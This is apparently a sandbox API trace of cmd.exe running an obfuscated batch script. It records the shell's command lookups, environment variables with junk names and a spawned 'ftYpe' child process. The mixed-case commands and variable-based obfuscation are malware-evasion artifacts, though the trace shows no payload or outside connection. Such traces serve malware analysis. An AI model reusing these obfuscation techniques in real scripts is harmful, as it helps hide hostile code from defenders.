	[0057.768] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="EXIT") returned 1
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="START") returned -13
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5
	[0057.768] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0
	[0057.768] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0057.768] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51
	[0057.768] SetErrorMode (uMode=0x0) returned 0x8001
	[0057.768] SetErrorMode (uMode=0x1) returned 0x0
	[0057.768] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0x1fa4900, lpFilePart=0x22f1c0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x22f1c0*="system32") returned 0x13
	[0057.768] SetErrorMode (uMode=0x8001) returned 0x1
	[0057.769] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1
	[0057.769] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0057.772] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0057.772] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0x22ef30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22ef30) returned 0x1fa4a30
	[0057.772] FindClose (in: hFindFile=0x1fa4a30 | out: hFindFile=0x1fa4a30) returned 1
	[0057.773] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0057.773] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
	[0057.773] GetConsoleTitleW (in: lpConsoleTitle=0x22f480, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0057.773] InitializeProcThreadAttributeList (in: lpAttributeList=0x22f238, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x22f1f8 | out: lpAttributeList=0x22f238, lpSize=0x22f1f8) returned 1
	[0057.773] UpdateProcThreadAttribute (in: lpAttributeList=0x22f238, dwFlags=0x0, Attribute=0x60001, lpValue=0x22f1e8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x22f238, lpPreviousValue=0x0) returned 1
	[0057.773] GetStartupInfoW (in: lpStartupInfo=0x22f350 | out: lpStartupInfo=0x22f350*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x5c, hStdError=0xb)) 
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="#-=set ", _MaxCount=0x7) returned 64
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="#;=seGC", _MaxCount=0x7) returned 64
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="$'=seGC", _MaxCount=0x7) returned 63
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="$+=seGC", _MaxCount=0x7) returned 63
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="$_'}=se", _MaxCount=0x7) returned 63
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="',`+=se", _MaxCount=0x7) returned 60
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="']=set ", _MaxCount=0x7) returned 60
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="'`#=set", _MaxCount=0x7) returned 60
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="'{=seGC", _MaxCount=0x7) returned 60
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="'}_-=se", _MaxCount=0x7) returned 60
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="*.@=set", _MaxCount=0x7) returned 57
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="*[-,=se", _MaxCount=0x7) returned 57
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="*{[=seG", _MaxCount=0x7) returned 57
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="*}=set ", _MaxCount=0x7) returned 57
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="+,\\=set", _MaxCount=0x7) returned 56
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="+.@#=se", _MaxCount=0x7) returned 56
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="+?.,=se", _MaxCount=0x7) returned 56
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2="+~}{=eo", _MaxCount=0x7) returned 56
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2=",@$[=se", _MaxCount=0x7) returned 55
	[0057.773] _wcsnicmp (_String1="COPYCMD", _String2=",_}~=se", _MaxCount=0x7) returned 55
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2=",`=set ", _MaxCount=0x7) returned 55
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="-}=set ", _MaxCount=0x7) returned 54
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="-}#=seG", _MaxCount=0x7) returned 54
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2=".$+=set", _MaxCount=0x7) returned 53
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2=".*#=set", _MaxCount=0x7) returned 53
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2=".,`_=se", _MaxCount=0x7) returned 53
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2=".;?=set", _MaxCount=0x7) returned 53
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2=".@_#=se", _MaxCount=0x7) returned 53
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2=";.+=set", _MaxCount=0x7) returned 40
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2=";]=seGC", _MaxCount=0x7) returned 40
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2=";`}~=se", _MaxCount=0x7) returned 40
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="?$_=set", _MaxCount=0x7) returned 36
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="@#?.=se", _MaxCount=0x7) returned 35
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="@+*=s8P", _MaxCount=0x7) returned 35
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="@-=seGC", _MaxCount=0x7) returned 35
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="@;?#=se", _MaxCount=0x7) returned 35
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="@[~=s8P", _MaxCount=0x7) returned 35
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0057.774] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="[$#?=se", _MaxCount=0x7) returned 8
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="[$@+=se", _MaxCount=0x7) returned 8
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="[_=set ", _MaxCount=0x7) returned 8
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="[{=seGC", _MaxCount=0x7) returned 8
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="\\#=set ", _MaxCount=0x7) returned 7
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="\\,=set ", _MaxCount=0x7) returned 7
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="\\,}_=eo", _MaxCount=0x7) returned 7
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="\\[=seGC", _MaxCount=0x7) returned 7
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="\\[,#=se", _MaxCount=0x7) returned 7
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="\\{=seGC", _MaxCount=0x7) returned 7
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="]#=set ", _MaxCount=0x7) returned 6
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="]$*{=se", _MaxCount=0x7) returned 6
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="_'*{=se", _MaxCount=0x7) returned 4
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="_@.-=se", _MaxCount=0x7) returned 4
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="_`@#=se", _MaxCount=0x7) returned 4
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="`-$=seG", _MaxCount=0x7) returned 3
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="`._=set", _MaxCount=0x7) returned 3
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="`?=s8PG", _MaxCount=0x7) returned 3
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="`[+=set", _MaxCount=0x7) returned 3
	[0057.775] _wcsnicmp (_String1="COPYCMD", _String2="`\\+=seG", _MaxCount=0x7) returned 3
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="`]$=seG", _MaxCount=0x7) returned 3
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="`}$@=se", _MaxCount=0x7) returned 3
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="{$_=set", _MaxCount=0x7) returned -24
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="{'`#=se", _MaxCount=0x7) returned -24
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="{,.=set", _MaxCount=0x7) returned -24
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="{;=set ", _MaxCount=0x7) returned -24
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="{@}=seG", _MaxCount=0x7) returned -24
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="}$]?=se", _MaxCount=0x7) returned -26
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="}\\=set ", _MaxCount=0x7) returned -26
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="}\\?=set", _MaxCount=0x7) returned -26
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="}],$=se", _MaxCount=0x7) returned -26
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="}{=set ", _MaxCount=0x7) returned -26
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="~\\=set ", _MaxCount=0x7) returned -27
	[0057.776] _wcsnicmp (_String1="COPYCMD", _String2="~`*?=se", _MaxCount=0x7) returned -27
	[0057.776] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1
	[0057.778] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x22f270*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x22f220 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \"", lpProcessInformation=0x22f220*(hProcess=0x64, hThread=0x58, dwProcessId=0xb60, dwThreadId=0xb64)) returned 1
	[0057.842] CloseHandle (hObject=0x58) returned 1
	[0057.842] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0057.842] GetEnvironmentStringsW () returned 0x1fa4d50*
	[0057.842] FreeEnvironmentStringsW (penv=0x1fa4d50) returned 1
	[0057.842] DeleteProcThreadAttributeList (in: lpAttributeList=0x22f238 | out: lpAttributeList=0x22f238) 
	[0057.842] _get_osfhandle (_FileHandle=3) returned 0x54
	[0057.842] DuplicateHandle (in: hSourceProcessHandle=0x64, hSourceHandle=0x54, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1
	[0057.842] _dup2 (_FileHandleSrc=5, _FileHandleDst=1) returned 0
	[0057.843] _close (_FileHandle=5) returned 0
	[0057.843] _dup (_FileHandle=0) returned 4
	[0057.843] _dup2 (_FileHandleSrc=3, _FileHandleDst=0) returned 0
	[0057.843] _close (_FileHandle=3) returned 0
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="DIR") returned 2
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="ERASE") returned 1
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="DEL") returned 2
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="TYPE") returned -14
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="COPY") returned 3
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="CD") returned 3
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="CHDIR") returned 3
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="RENAME") returned -12
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="REN") returned -12
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="ECHO") returned 1
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="SET") returned -13
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="PAUSE") returned -10
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="DATE") returned 2
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="TIME") returned -14
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="PROMPT") returned -10
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="MD") returned -7
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="MKDIR") returned -7
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="RD") returned -12
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="RMDIR") returned -12
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="PATH") returned -10
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="GOTO") returned -1
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="SHIFT") returned -13
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="CLS") returned 3
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="CALL") returned 3
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="VERIFY") returned -16
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="VER") returned -16
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="VOL") returned -16
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="EXIT") returned 1
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="SETLOCAL") returned -13
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="ENDLOCAL") returned 1
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="TITLE") returned -14
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="START") returned -13
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="DPATH") returned 2
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="KEYS") returned -5
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="MOVE") returned -7
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="PUSHD") returned -10
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="POPD") returned -10
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="ASSOC") returned 5
	[0057.844] _wcsicmp (_String1="fiNdStr", _String2="FTYPE") returned -11
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="BREAK") returned 4
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="COLOR") returned 3
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="MKLINK") returned -7
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="DIR") returned 2
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="ERASE") returned 1
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="DEL") returned 2
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="TYPE") returned -14
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="COPY") returned 3
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="CD") returned 3
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="CHDIR") returned 3
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="RENAME") returned -12
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="REN") returned -12
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="ECHO") returned 1
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="SET") returned -13
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="PAUSE") returned -10
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="DATE") returned 2
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="TIME") returned -14
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="PROMPT") returned -10
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="MD") returned -7
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="MKDIR") returned -7
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="RD") returned -12
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="RMDIR") returned -12
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="PATH") returned -10
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="GOTO") returned -1
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="SHIFT") returned -13
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="CLS") returned 3
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="CALL") returned 3
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="VERIFY") returned -16
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="VER") returned -16
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="VOL") returned -16
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="EXIT") returned 1
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="SETLOCAL") returned -13
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="ENDLOCAL") returned 1
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="TITLE") returned -14
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="START") returned -13
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="DPATH") returned 2
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="KEYS") returned -5
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="MOVE") returned -7
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="PUSHD") returned -10
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="POPD") returned -10
	[0057.845] _wcsicmp (_String1="fiNdStr", _String2="ASSOC") returned 5
	[0057.846] _wcsicmp (_String1="fiNdStr", _String2="FTYPE") returned -11
	[0057.846] _wcsicmp (_String1="fiNdStr", _String2="BREAK") returned 4
	[0057.846] _wcsicmp (_String1="fiNdStr", _String2="COLOR") returned 3
	[0057.846] _wcsicmp (_String1="fiNdStr", _String2="MKLINK") returned -7
	[0057.846] _wcsicmp (_String1="fiNdStr", _String2="FOR") returned -6
	[0057.846] _wcsicmp (_String1="fiNdStr", _String2="IF") returned -3
	[0057.846] _wcsicmp (_String1="fiNdStr", _String2="REM") returned -12
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="DIR") returned 2
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="ERASE") returned 1
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="DEL") returned 2
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="TYPE") returned -14
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="COPY") returned 3
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="CD") returned 3
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="CHDIR") returned 3
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="RENAME") returned -12
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="REN") returned -12
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="ECHO") returned 1
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="SET") returned -13
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="PAUSE") returned -10
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="DATE") returned 2
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="TIME") returned -14
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="PROMPT") returned -10
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="MD") returned -7
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="MKDIR") returned -7
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="RD") returned -12
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="RMDIR") returned -12
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="PATH") returned -10
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="GOTO") returned -1
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="SHIFT") returned -13
	[0057.862] _wcsicmp (_String1="fiNdStr", _String2="CLS") returned 3
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="CALL") returned 3
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="VERIFY") returned -16
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="VER") returned -16
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="VOL") returned -16
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="EXIT") returned 1
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="SETLOCAL") returned -13
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="ENDLOCAL") returned 1
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="TITLE") returned -14
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="START") returned -13
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="DPATH") returned 2
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="KEYS") returned -5
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="MOVE") returned -7
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="PUSHD") returned -10
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="POPD") returned -10
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="ASSOC") returned 5
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="FTYPE") returned -11
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="BREAK") returned 4
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="COLOR") returned 3
	[0057.863] _wcsicmp (_String1="fiNdStr", _String2="MKLINK") returned -7
	[0057.863] _wcsnicmp (_String1="fiNd", _String2="cmd ", _MaxCount=0x4) returned 3
	[0057.863] SetErrorMode (uMode=0x0) returned 0x8001
	[0057.863] SetErrorMode (uMode=0x1) returned 0x0
	[0057.863] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2ed390, lpFilePart=0x22f430 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x22f430*="Desktop") returned 0x19
	[0057.863] SetErrorMode (uMode=0x8001) returned 0x1
	[0057.864] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0057.864] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0057.922] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0057.922] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0057.923] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
